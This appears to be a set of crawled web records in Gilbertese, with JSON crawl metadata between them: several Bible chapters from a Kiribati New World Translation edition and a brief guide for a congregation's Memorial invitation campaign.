Iehova e kanakoa Ierubaara+ ao Betan ao Iebeta+ ao Tamuera,+ ao a kamaiuingkami mai nanoni baia aiami akana i rarikimi ni kabutaa, bwa kam aonga ni maeka ma te mweraoi.+ 12 Ngke kam nora Naati+ are aia uea tibun Ammon bwa e a roko n ekingkami nako, ao kam teimatoa ni kangai nakoiu, 'Tiaki ngaia anne, ti a tia ni motikia bwa e na reke te uea i aora!'+ e ngae ngke bon ami Uea Iehova ae Atuami.+ 13 Aio ngkai te uea are kam rineia, are teuare kam bubutii ibukina. Noria! E a tia Iehova n rinea te uea i aomi.+ 14 Ngkana kam maaka Iehova+ ma n toro irouna+ ao n ongo ni bwanaana,+ ao kam aki karitei nakon te baere e tua Iehova, ao kam uaia n irira Iehova ae Atuami, ngkami ma te uea ane tautaeka i aomi, ao e raoiroi anne. 15 Ma ngkana kam aki ongo ni bwanaan Iehova ao kam karitei nakon te baere e tua Iehova, ao ane e na ekingkami nako ma tamami bain Iehova.+ 16 Kam na tei ni nnemi ngkai ao nora te bwai ae kamimi ae e nang karaoia Iehova i matami. 17 Tiaki bon tain taiakin te uita n te bong aei? N na wetea Iehova bwa e na karokoa te baa ma te karau. Ao kam na ataa ao n ota ni buakakan te bwai ae kam a tia ni karaoia i matan Iehova, ngkai kam bubutii ami uea.\"+ 18 Ao Tamuera e wetea Iehova, ao e karokoa te baa ma te karau Iehova n te bong arei, n te aro are e a korakora maakakin Iehova ao Tamuera irouia aomata ni kabane. 19 Ao a taku aomata ni kabane nakon Tamuera: \"Tataro nakon Iehova ae Atuam ibukia am toro,+ bwa ti aki kani mate, bwa ti a tia n raona riki ara bure ni kabane n te bwai riki teuana ae buakaka, n arora ni bubutii te uea.\" 20 Mangaia are e taku Tamuera nakoia aomata: \"Tai maaku. Kam a bon tia ni karaoi baika buakaka aikai ni kabane. Ma kam na tii aki rairakinako man irirakin Iehova,+ ao tooro iroun Iehova ma nanomi ni kabane.+ 21 Tai rairakinako ni kakairi irouia atua aika akea uaaia*+ aika akea te kabwaia irouia,+ ao a aki kona ni kakamaiu, ibukina bwa bon akea uaaia.* 22 Bwa e na aki kitania ana aomata Iehova+ ibukin arana ae kakannato,+ bwa e a bon tia ni motikia Iehova bwa e na karikingkami bwa ana aomata.+ 23 Ma I bon aki kona ngai n iangoa ae N na bure nakon Iehova n arou ni katoka au tataro ibukimi, ao N na teimatoa n reireiningkami te kawai ae raoiroi ao ae eti. 24 Kam na tii maaka Iehova+ ao tooro irouna ma te kakaonimaki* ma nanomi ni kabane, bwa nori bwaai aika kamimi aika e a tia ni karaoi ibukimi.+ 25 Ma ngkana kam imanono ni karaoa ae buakaka ao ane kam na tewenakoaki,+ ngkami ma ami uea.\"+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-tamuera\/12\/","date":"2018-03-18T00:53:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645405.20\/warc\/CC-MAIN-20180317233618-20180318013618-00407.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":916,"character_repetition_ratio":0.051,"word_repetition_ratio":0.004,"special_characters_ratio":0.244,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3 Ao a waerake Betero ao Ioane nakon te tembora n te karuaiwa n aoa* bwa tain te tataro, 2 ao iai te mwaane ae mwauku mangke e bungiaki, ae e uouotaki. A katoabong ni katikua i rarikini mataroan te tembora ae aranaki bwa te Mataroa ae Tamaroa, bwa e aonga ni bububutii bwaai n tituaraoi mairouia ake a rin n te tembora. 3 Ngke e nora Betero ao Ioane teuaei bwa a nang rin n te tembora, ao e a bubutii naba bwaai n tituaraoi. 4 Ma a karekea taraana Betero ao Ioane ao e taku ngkanne Betero: \"Taraira.\" 5 Mangaia are e katokai matana teuarei i aoia, ma kantaningaan ae e na reke te bwai teuana mairouia. 6 Ma e taku Betero: \"Akea au tirewa ma au koora, ma N na anganiko ae iai irou. Ko na nakonako+ n aran Iesu are te I-Natareta!\" 7 Ao e taua baina are ataina ao e kateirakea.+ Ao a rina ni matoa waena ma nimoimoini waena,+ 8 ao e kibarake n tei i aoni waena+ ao e nakonako, ao e rin ma ngaiia n te tembora, n nakonako ma ni kibakibarake ao ni karaoiroa te Atua. 9 Ao a bane n noria aomata n nakonako ma ni karaoiroa te Atua. 10 Ao a a kinaa bwa boni ngaia teuare tetekateka n te Mataroa ae Tamaroa n te tembora+ ni kariai bwaai n tituaraoi, ao a a rangi ni miroaroa ma ni kubanrou n te bwai are riki nakoina. 11 Ngke e a nimtiia Betero ma Ioane teuaei, ao a a bane ni biri aomata nakoia n te tabo are aranaki bwa Ana Kaman Toromon,*+ ao a rangi ni mimi. 12 Ngke e nora aei Betero ao e taku nakoia te koraki: \"Mwaane aika tibun Iteraera, e aera ngkai kam a rangi ni kubanako n te baei, ao e aera ngkai kam a tataraira bwa aongkoa ti kanakonakoa teuaei n oini mwaakara ke ibukini korakoran tangiran te Atua iroura? 13 Atuan Aberaam ao Itaaka ao Iakoba+ are Atuaia ara bakatibu, e karietataa ana Toro+ ae Iesu,+ are kam kaburea+ ngkoa ma ni kakeaa i matani Birato, e ngae ngke e a tia ni motika nanona Birato bwa e na kainaomataa. 14 Eng, kam kakeaa teuare tabu ma n raoiroi, ao kam bubutii bwa e na kainaomataaki nakoimi+ te mwaane temanna ae te tia tiritiri, 15 ma kam kamatea teuare te Mataniwi ae Rietata i aon te maiu.+ Ma e kautia te Atua mai buakoia maate, ae bon taani kakoaua+ iai ngaira. 16 Ao e kakorakoraaki teuae kam noria ma ni kinaa aei n aran Iesu ao n onimakinan arana iroura. E a tia te onimaki are e reke rinanon Iesu ni kamarurunga raoi teuaei i matami ni kabane. 17 Ao I ataia taari bwa kam karaoa te mwakuri arei ma te aki ota+ n aroia naba ami tia kairiri.+ 18 Ma n te aro aei ao e kakororaoi baike e katanoatai te Atua rimoa rinanoni wia burabeti ni kabane, are e na kammarakaki+ ana Kristo. 19 \"Mangaia ae rairi nanomi+ ao bitii aromi*+ bwa a na kamaunaaki ami bure,+ bwa a aonga n roko taai ni kakamaiu mairoun Iehova,* 20 ao e na kanakomaia te Kristo are e rineia ibukimi ae Iesu. 21 E boni kawakinaki teuaei i karawa ni karokoa taini manga kaokani bwaai ni kabane nakon aroia rimoa, n aron are e taekinna te Atua rinanoni wia burabeti aika itiaki* ake rimoa. 22 Ni koauana e taku Mote: 'E na kateirakea ibukimi te burabeti temanna Iehova* ae Atuami ae ai arou+ mai buakoia tarimi. Kam riai n ongo irouna ni kaineti ma bwaai ni kabane akana e tuangingkami.+ 23 Ni koauana, ane e* aki ongo iroun te Burabeti anne, ao e na boni kamaunaaki mai buakoia aomata.'+ 24 Ao a boni kaotiotii raoi boong akanne burabeti ni kabane, ni moa mairoun Tamuera ao burabeti ake a kaotioti imwina.+ 25 Natiia burabeti ngkami ao natin te berita are e karaoia te Atua ma ami bakatibu,+ ngke e kangai nakon Aberaam: 'A na boni bane ni kakabwaiaaki utu n te aonnaba rinanoni kanoam.'*+ 26 Ngke e tia te Atua ni kateirakea ana Toro, ao e kanakoa moa+ nakoimi bwa e na kakabwaiaingkami n arona n rairingkami n tatabemaningkami nako man ami mwakuri aika bubuaka.\"\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/mwakuri\/3\/","date":"2018-03-22T16:08:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647892.89\/warc\/CC-MAIN-20180322151300-20180322171300-00222.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":732,"character_repetition_ratio":0.049,"word_repetition_ratio":0.006,"special_characters_ratio":0.237,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6 N te ka-480 n ririki imwin otinakoia tibun Iteraera man te aba are Aikubita,+ n te kaaua n ririki imwin rikin Toromon bwa uean Iteraera, n te namwakaina ae Tibi*+ (ae taekan te kauoua n namwakaina), ao e a moana katean ana auti Iehova.*+ 2 Te auti are e kateia te Uea ae Toromon ibukin Iehova bon 60 te mwanokunibai* abwakina, 20 te mwanokunibai raababana, ao 30 te mwanokunibai rietana.+ 3 Te kaman*+ are i moan te tembora* bon 20 te mwanokunibai abwakina,* ae boraoi ma raababan te auti.* Ao raababana bon tebwina te mwanokunibai ni moa mai moan te auti. 4 E karaoi kamaaman te auti aika wariki.+ 5 Irarikin anne, e katea te kateitei mai rarikina ae nim ma oon te auti ao e katobibia oon te auti, oon nako te tembora* ao te Ruu ae Moan te Tabu,*+ ao e karaoi ruun rarikina ni kabutaa.+ 6 Raababani bwian ruun rarikina are te kabanea mai nano bon nimaua te mwanokunibai, raababani bwiana are mai nuka bon onoua te mwanokunibai, ao raababani bwiana are mai eta bon itiua te mwanokunibai, bwa e karaoi nangoa ni katobibia te auti, bwa e aonga n akea te bwai teuana ae nim ma oon te auti.+ 7 E kateaki te auti anne n atibu aika ekeaki ake a a kamani katauraoaki,+ bwa e aonga n aki ongo te aba rebwetatan taian aama ke tanai ke bwaai ni mwakuri riki tabeua aika biiti n te auti, ngke e kateaki. 8 Ao e mena mai maiakin* te auti mataroan te ruu are te kabanea mai nano,+ ao te kaintamwarake ae katobibi e waerake nakon te bwia are mai nuka, ao man te bwia are mai nuka ni waerake nakon te bwia are mai eta. 9 E waakinaanako katean te auti ao e katiaa.+ E kanimwi tatangan taubukin te auti ni kaai aika tiira, ao e rabuna naba te taubuki ni kairababa aika tiira.+ 10 E katei ruun rarikin te auti ni kabutaa+ aika kaka nimaua te mwanokunibai rietaia, ao a tomaaki ma te auti ni kaai aika tiira. 11 N te tai anne ao e roko ana taeka Iehova iroun Toromon ae kangai: 12 \"Ni kaineti ma te auti ae ko kateia aei, ao ngkana ko kakairi n au kaetieti ma ni kakororaoi au moti ao ni kawakin au tua ni kabane n arom ni kakairi iai,+ ao N na kakororaoa naba au berita ma ngkoe are I karaoia ma Tawita are tamam,+ 13 ao N na maeka i buakoia tibun Iteraera,+ ao N na bon aki kitania au aomata aika tibun Iteraera.\"+ 14 E waakinaanako katean te auti Toromon ao e katiaa. 15 E karaoi oon te auti mai nanona ni kairababa aika tiira. E kanimwi kairababa aika kaai n taian oo mai nanona ni moa mai aontano n te auti ni karokoa okan nako taubukina, ao e kanimwi kairababa aika kaai aika mwaiango n rabuna iai aontano are i nanon te auti.+ 16 Ao e katea te kateitei ae 20 te mwanokunibai, mai bukin te auti, ni kairababa aika tiira, ni moa mai aontano ni karokoa taian oka, ao e katea i nanona* te ruu are mai nanona riki ae te Ruu+ ae Moan te Tabu.+ 17 Ao te tembora*+ are bon iteran naba te auti anne mai moana, bon 40 te mwanokunibai. 18 Ao e kaaraki ni kataneaki aon te kai ae te tiira are i nanon te auti n taamnein taian uaanikai aika bangke+ ma uee aika raure.+ Bon te kai ae te tiira ni kabane ao akea te atibu ae noraki. 19 Ao e katauraoa te Ruu ae Moan te Tabu+ i nanon te auti bwa e na kaaki iai ana ati ni berita Iehova.+ 20 Bon 20 te mwanokunibai abwakin te Ruu ae Moan te Tabu, 20 te mwanokunibai raababana, ao 20 te mwanokunibai rietana.+ Ao e kanimwa te koora ni koaua n rabunna iai, ao e kanimwa te kai ae te tiira n rabuna iai te baonikarea.+ 21 Ao e kanimwa te koora ni koaua+ Toromon n rabuna iai nanon te auti, ao e katikii taurekereke aika koora i moan te Ruu ae Moan te Tabu,+ are kanimwaki iai te koora n rabunaki iai. 22 E kanimwa te koora n rabuna iai te auti ni kabutaa, ni karokoa ae e a buta te auti. E kanimwa te koora n rabuna naba te baonikarea ni kabutaa,+ are mena i rarikin te Ruu ae Moan te Tabu. 23 E karaoiia kerubim* aika uoman+ i nanon te Ruu ae Moan te Tabu man te kai ae te bwaain,* ae kaka tebwina te mwanokunibai rietaia.+ 24 Bon nimaua te mwanokunibai bain te kerubim ni kiba are teaina, ao baina ni kiba are teaina bon nimaua te mwanokunibai. Mai taboni baina ni kiba are teaina nakon taboni baina ni kiba are teaina bon tebwina te mwanokunibai. 25 Bon tebwina naba te mwanokunibai bain te kerubim ni kiba are te kauoman. Titeboo abwakin ao raababani kerubim aikai ni kauoman, ao titeboo teia. 26 Rietan te kerubim temanna bon 10 te mwanokunibai, ao ai aron naba te kerubim are temanna. 27 Ao e kaaki kerubim+ aikai i nanon te Ruu ae Moan te Tabu. A taakinaki baia ni kiba kerubim aikai n te aro are e roko bain are temanna ni kiba n te oo are teuana, ao bain te kerubim are temanna ni kiba e roko n te oo are teuana. Ao a taakinaki baia ni kiba nako nukan te auti, n te aro are a uaia n toma baia ni kiba. 28 Ao e kanimwa te koora n rabuni iai aoia kerubim aikai. 29 Ao e kaari ni katanei oon ni kabane te auti, ni kabutai ruu ake uoua n taamneia taiani kerubim,+ aroka aika baam,+ ao uee aika raure.+ 30 E kanimwa te koora n rabuna iai aontano are i nanon te auti, n ruu ake uoua. 31 Ao e karaoi mataroa man te kai ae te bwaain ibukin te kawai n rin n te Ruu ae Moan te Tabu, bouan rarikina, bouani mataroana, bwa te kanimaua ni mwakoro.* 32 A karaoaki mataroa aika uoua man te kai ae te bwaain, ao e kaari ni katanei aoia n taamneia taiani kerubim, aroka aika baam, ao uee aika raure, ao e kanimwa te koora n rabuni iai aoia. Ao e ororea te koora n te aama i aoia taiani kerubim ao aroka aika baam. 33 Ao anne arona ni karaoi bouani mataroa man te kai ae te bwaain, ibukini mataroan te tembora,* ao e riki bwa te kaaua ni mwakoro.* 34 Ao e karaoi mataroa aika uoua man te kai ae te mwaiango. Iai bonotan te mataroa teuana ae uoua rukumana ae ukuki i aon nangoana, ao iai naba bonotan te mataroa are teuana ae uoua rukumana ae ukuki i aon nangoana.+ 35 E kaari ni katanei aoia n taamneia taiani kerubim, aroka aika baam, ao uee aika raure, ao e kanimwa te koora n rabuni iai aoni baike a kaaraki ni kataneaki. 36 E katea oon te katawanang+ are mai nanona n te atibu ae ekeaki ae tenua rinanna ni waerake, ao e karina naba iai terinanna kaai aika tiira.+ 37 N te ka-4 n ririki n te namwakaina ae Tibi,* ao e a kaweneaki aan ana auti Iehova.+ 38 Ao n te ka-11 n ririki n te namwakaina ae Bure* (ae taekan te ka-8 n namwakaina), ao e a tia te auti ma bwaina ni kabane, ni kaineti ma aron taamneina.+ Mangaia are e kabanea itiua te ririki ni kateia.\nTaiani Kabwarabwara Mai Nano\n^ Ae taekan te tabo n rin ae mena i moan te tembora.\n^ Ebera, \"temboran te auti.\"\n^ Ke, \"raababana.\"\n^ Ke, \"20 te mwanokunibai n ira raababan te auti.\"\n^ E kaineti aei nakon te Ruu ae Tabu.\n^ Ebera, \"te ruu are mai nanona riki.\"\n^ Ebera, \"angaatain.\"\n^ Ae taekan nanon te auti.\n^ Ae taekan te Ruu ae Tabu, are i moan te Ruu ae Moan te Tabu.\n^ Nora Nanon Taeka.\n^ Ebera, \"te kai ae te oera,\" ke tao te aroka ae te bwaain ae te Aleppo.\n^ Tao e kaineti nakoni kateani kain te mataroa ke nakon abwakin ao raababan taiani mataroa.\n^ E kaineti aei nakon te Ruu ae Tabu.\n^ Tao e kaineti nakoni kateani kain te mataroa ke nakon abwakin ao raababan taiani mataroa.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-uea\/6\/","date":"2018-04-20T01:38:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937090.0\/warc\/CC-MAIN-20180420003432-20180420023432-00606.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1326,"character_repetition_ratio":0.096,"word_repetition_ratio":0.033,"special_characters_ratio":0.247,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"28 Bon 20 ana ririki Aati+ ngke e riki bwa te uea, ao e tautaeka i Ierutarem i nanon 16 te ririki. E aki karaoa ae eti i matan Iehova n aron are e karaoia Tawita are ana bakatibu.+ 2 Ma e nakonako ni kawaia uean Iteraera,+ ao e karaoi naba bouannanti aika biiti*+ aika taiani Baara. 3 Irarikin anne, e kabueki karea ni kabubui n ana Mwarua Natin Innom* ao e kabuekiia natina mwaane n te ai,+ ni kakairi n aia mwakuri aika riribaaki natannaomata+ ake e kakioianako Iehova mai mwaia tibun Iteraera. 4 E teimatoa naba n angakarea ao ni kabueki karea ni kabubui n taabo aika rietata,+ n taian tabuki, ao i aan nako kaai aika manguroro.+ 5 Mangaia are e anga ngaia Iehova ae Atuana nako nanoni bain uean Turia,+ n te aro are a a kataenikaia ao ni kairiianako taenikai aika rangi ni bati nako Tamateko.+ E anga naba teuaei te Atua nako nanoni bain uean Iteraera, are e a karokoa i aon teuaei te kamamate ae korakora. 6 Bwa Bika+ are natin Remaria e kamateia 120,000 i Iuta n tii tebongina aika mwaane aika ninikoria ni kabane, ibukina bwa a kitana Iehova ae Atuaia aia bakatibu.+ 7 Ao Tikeri ae te tia buaka ae tibun Eberaim, e kamatea Maateia ae natin te uea ma Atirikam ae te tia tararuaa te baareti,* ao Erekana ae te kauoman i aan te uea. 8 Ao kaain Iteraera a anaiia 200,000 mai buakoia tariia ake taenikai aika aine, naati mwaane, ao naati aine. A taui naba bwaai ni kuri aika rangi ni bati, ao a uotii bwaai ni kuri aikai nako Tamaria.+ 9 Ma e mena ikekei ana burabeti Iehova ae arana Oteta. Ao e otinako i matan te taanga ni buaka are e roko i Tamaria ao e taku nakoia: \"Noria! E anga Iuta Iehova ae Atuaia ami bakatibu nako nanoni baimi, ibukina bwa e un irouia,+ ma kam kamateia n te un ae korakora ae rota karawa. 10 Ao kam kani karaoiia ngkai kaain Iuta ao kaain Ierutarem bwa ami toro aika mwaane ma aine.+ Ma tiaki kam bure naba i matan Iehova ae Atuami? 11 Ongora ngkai irou ao kaokiia taenikai ake kam anaiia mairouia tarimi, bwa e a urarake unin Iehova ni kaaitaraingkami.\" 12 Ao iai tabeman aia mataniwi tibun Eberaim, ae Ataria ae natin Ieoanan, Berekia ae natini Metiremota, Ieitikia ae natin Tiarum, ao Amataa ae natin Atierai, ake a a kaaitaraia te koraki ake a roko man te buaka, 13 ao a taku nakoia: \"Tai kairiiamai taenikai, bwa ane ti na bure iai i matan Iehova. Te bwai ae kam kani karaoia e na boni kauaataoa riki ara bure ma ara kairua, bwa e a bon riao ara kairua, ao e a urarake te un ni kaitaraa Iteraera.\" 14 Mangaia are a anga taenikai ma bwaai ni kuri tautia aika taubobonga+ aikai nakoia tooka ao te botaki n aomata. 15 A teirake ngkanne mwaane ake a rineaki n araia ao a kairiianako taenikai, ao a karekei kunnikaia te koraki nako ake akea aia kunnikai i buakoia nakekei mai buakoni bwaai ni kuri. Ngaia are a kunnikainia naakai ao a angania kaau, taian amwarake ao taiani moi, ao te bwaa ibukini kunia. Irarikin anne, a katokaia ake ai akea korakoraia i aoia taongki ao a kairiia nakoia tariia i Ieriko, ae te kaawa ae a mena iai aroka aika baam. Imwin anne ao a a oki nako Tamaria. 16 N te tai anne ao e bubutii te ibuobuoki te Uea ae Aati nakoia uean Aturia.+ 17 Ao I-Etom a a manga ninia naba ao ni buakana Iuta ao a kairiianako taenikai. 18 Ao I-Biritia+ a nini naba kaawan te Tiebira*+ ao te Nekebo* are i Iuta, ao a taua Betatemeti,+ Aiiaron,+ Keterota, Toko ma kaawa ake a mena i aana,* Tiimna+ ma kaawa ake a mena i aana, ao Kimito ma kaawa ake a mena i aana, ao a maeka iai. 19 E kananorinanoia kaain Iuta Iehova ibukin Aati are Uean Iteraera, bwa e kariaia kaain Iuta bwa a na aki tau baangia, ao e a reke iai te aki kakaonimaki ae korakora nakon Iehova. 20 N tokina ao e a roko te Uea ae Tikeratabirenetera+ are uean Aturia ni buakana teuaei ao e a karawawataa+ n oneani mwin are e na kakorakoraa. 21 Bwa e a tia Aati ni kuribwaia ana auti Iehova ao ana auti* te uea+ ma natinuea mwaane, ao e karaoa ana bwaintangira nakon uean Aturia, ma akea buokana ae reke iai. 22 Ao i nanon ana tai n rawawata te Uea ae Aati, ao e a korakora riki iai ana aki kakaonimaki nakon Iehova. 23 E a angakarea nakoia atuan Tamateko+ ake a a tia ni kataea ana kai,+ ao e taku: \"N na angakarea nakoia atuaia uean Turia bwa a aonga ni buokai,+ ibukina bwa a buokiia ueea akekei.\" Ma a boni kabwakaa teuaei ao tibun Iteraera ni kabane. 24 Irarikin anne, e rikoi Aati bwain ana auti te Atua ae koaua, ao e korokorei bwain ana auti te Atua ae koaua,+ e kaini mataroan ana auti Iehova,+ ao e karaoi baonikarea i bon ibukina n taabo nako i Ierutarem. 25 Ao e karaoi taabo aika rietata ni kaawa ni kabane ake i Iuta ibukini kabuekani karea ni kabubui nakoia atua aika kewe riki tabeman,+ ao e kauna Iehova ae Atuaia ana bakatibu. 26 Ni kaineti ngkanne ma nikiran rongorongon teuaei, ma ana waaki ni kabane mai moana ni karokoa tokina, a koreaki n aia Boki Uean Iuta ma Uean Iteraera.+ 27 Ao e a wene ni motirawa Aati i rarikia ana bakatibu, ao a kaiia n te kaawa i Ierutarem, bwa a aki uotia nakoni nneni kaweneaia uean Iteraera.+ Ao e a riki natina are Etekia bwa te uea n onea mwina.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-rongorongo\/28\/","date":"2018-04-23T01:54:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945669.54\/warc\/CC-MAIN-20180423011954-20180423031954-00320.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":981,"character_repetition_ratio":0.045,"word_repetition_ratio":0.004,"special_characters_ratio":0.236,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N taini kabutan te beeba ni kakao are e na moanaki ni Beberuare 27 ao ti na kakorakoraira ni kaoia aomata aika bati n ara kaawa bwa a na raonira ni Kauringa mateni Kristo. Ti riai naba ni mutiakinia naake a kan ongora ni karikirakea kan ongoraeia.\nAANGA AIKA A NA IANGOAKI\nTAEKINA AM MARORO\n\"Ti kabuta te beeba ni kakao aei nakon te bong ae rangi ni kakawaki. A na ikotaki mirion ma mirion aomata ni katobibia te aonnaba ni Maati 23, ni kauringa maten Iesu Kristo ao n ongoraea te kabwarabwara man te Baibara ae aki kabooaki ni kaineti ma kakabwaiaakira mani matena. E kaotaki n te beeba ni kakao aei te tai ao te tabo ae na boo iai. Taiaoka rooko ngkana ko konaa.\"\nNgkana e kaota te kan ongora te aomata . . .\nAANGA TE TAUA-N-TANTANI\nKarekea angani manga okirana.\nKAOTA TE TAAMNEI IBUKIN TE KAURING\nKarekea angani manga okirana.\nNgkana ko a manga oki, ko kona n . . .\nKAOTA TE TAAMNEI AE E AERA NGKAI E RAOIROI TE REIREI N TE BAIBARA?\nImwina, aanga te boki ibukin te reirei n te Baibara.\nA ANGA TE BOKI AE TERA ANA REIREI NI KOAUA TE BAIBARA?\nTaekin rongorongo riki tabeua ibukin te Kauring n iteraniba 206-208. Imwina, aanga te boki.\nA ANGA TE BOROUTIA AE ONGEABA IROUN TE ATUA\nKabwarabwaraa kakawakini mateni Kristo n iteraniba 18-19. Imwina, aanga te boroutia.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/beberuare-2016-mwb\/kaetieti-ibukin-te-botaki-beb22-28\/maroro-kauring-kakao\/","date":"2018-04-21T05:11:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944982.32\/warc\/CC-MAIN-20180421032230-20180421052230-00157.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":226,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.394,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"22 \"Ngkana ko nora ana kao mwaane ke ana tiibu tarim bwa e tiotionako, ao ko na aki katikua n oin nanom.+ Ko bon riai ni kaokia nakon tarim. 2 Ma ngkana e aki maeka tarim n uakaan ma ngkoe ke ko aki kinaa, ao ko riai ni kaira te man anne nakon am auti, ao e na tiku iroum ni karokoa ae e a kakaaea tarim. Ao ko riai ni kaokia nakoina.+ 3 Anne te bwai ae ko riai ni karaoia nakon ana taongki, ana kunnikai, ao ana bwai nako tarim aika bua aika ko kunei. Tiaki n ae ko na katikua. 4 \"Ngkana ko nora ana taongki tarim ke ana kao mwaane ni bwaka i nanon te kawai, ko na tai katikua n oin nanom. Ko bon riai ni buoka tarim ni kateirakea ana man.+ 5 \"E na tai kunnikainna te aine n te kunnikai ni mwaane, ao e aki riai naba te mwaane n oneia n te kunnikai n aine. Bwa e riribaaki iroun Iehova ae Atuam te aomata ae karaoa aei. 6 \"Ngkana e mena imwaim ngaon te mannikiba temanna i rarikin te kawai ma bunna ke bunnimoana, ke tao n te aroka teuana ke i aontano, ao e mena te tina i aoia bunna ke bunnimoana, ko aki riai n anaa te tina ma bunna.+ 7 Ko bon riai ni kanakoa te tina ma ko kona n anaiia bunna. Karaoa aei bwa a aonga n nakoraoi bwaai ni kabane ibukim, ao e aonga n abwabwaki maium. 8 \"Ngkana ko katea am auti ae boou, ko riai ni karaoa oon taubukina+ bwa ko aonga n aki karokoa te bure ni katuturaraa i aon am auti, ngkana e bwaka temanna mai iai. 9 \"Ko na tai uniki koraa aika uaekaki n am nne ni kureebe,+ bwa a kaawa ni kabureaki* nakon te tabo ae tabu uaa nako ake a reke mani koraa ake ko uniki, n ikotaki naba ma uaa ake a reke man am nne ni kureebe. 10 \"Ko na tai katoaa te kao mwaane ma te taongki ngkana ko kamaraua aontano.+ 11 \"Ko na tai kunnikaina te kunnikai ae karaoaki mani buraen te man ae renganaki ma te rinen.+ 12 \"Ko riai ni karaoa buruburun am kunnikai are ko bwainna, ni maninganingana ake aua.+ 13 \"Ngkana e karekea buuna te mwaane temanna ao e wene n taanga ma ngaia, ma e a manga ribaia,* 14 ao e bukina neiei bwa e karaoa ae buakaka ao e kabuakakaa aran neiei ni kangai: 'I anaa te aine aei ao ngke I wene n taanga ma ngaia, ao I aki nora bwaini kakoauaan ae te teinnaine ngaia.' 15 A riai taman ao tinan te aine aei n anga bwaini kakoauaan ae bon te teinnaine neiei nakoia unimwaane ni mataroan oon te kaawa. 16 E riai ni kangai taman te aine aei nakoia unimwaane, 'I anga natiu te aine nakon teuaei bwa buuna ma e a manga ribaia,* 17 ao e bukinna bwa e karaoa ae buakaka ni kangai: \"I a noria bwa ngaia bon akea bwaini kakoauaan ae bon te teinnaine natim.\" Ao aio bwaini kakoauaan ae bon te teinnaine natiu.' A na taakina ngkanne te kunnikai i mataia unimwaanen te kaawa. 18 A na kaira te mwaane arei unimwaanen te kaawa+ ao a na batiboia n taiani kai.+ 19 A na katuuaaea n 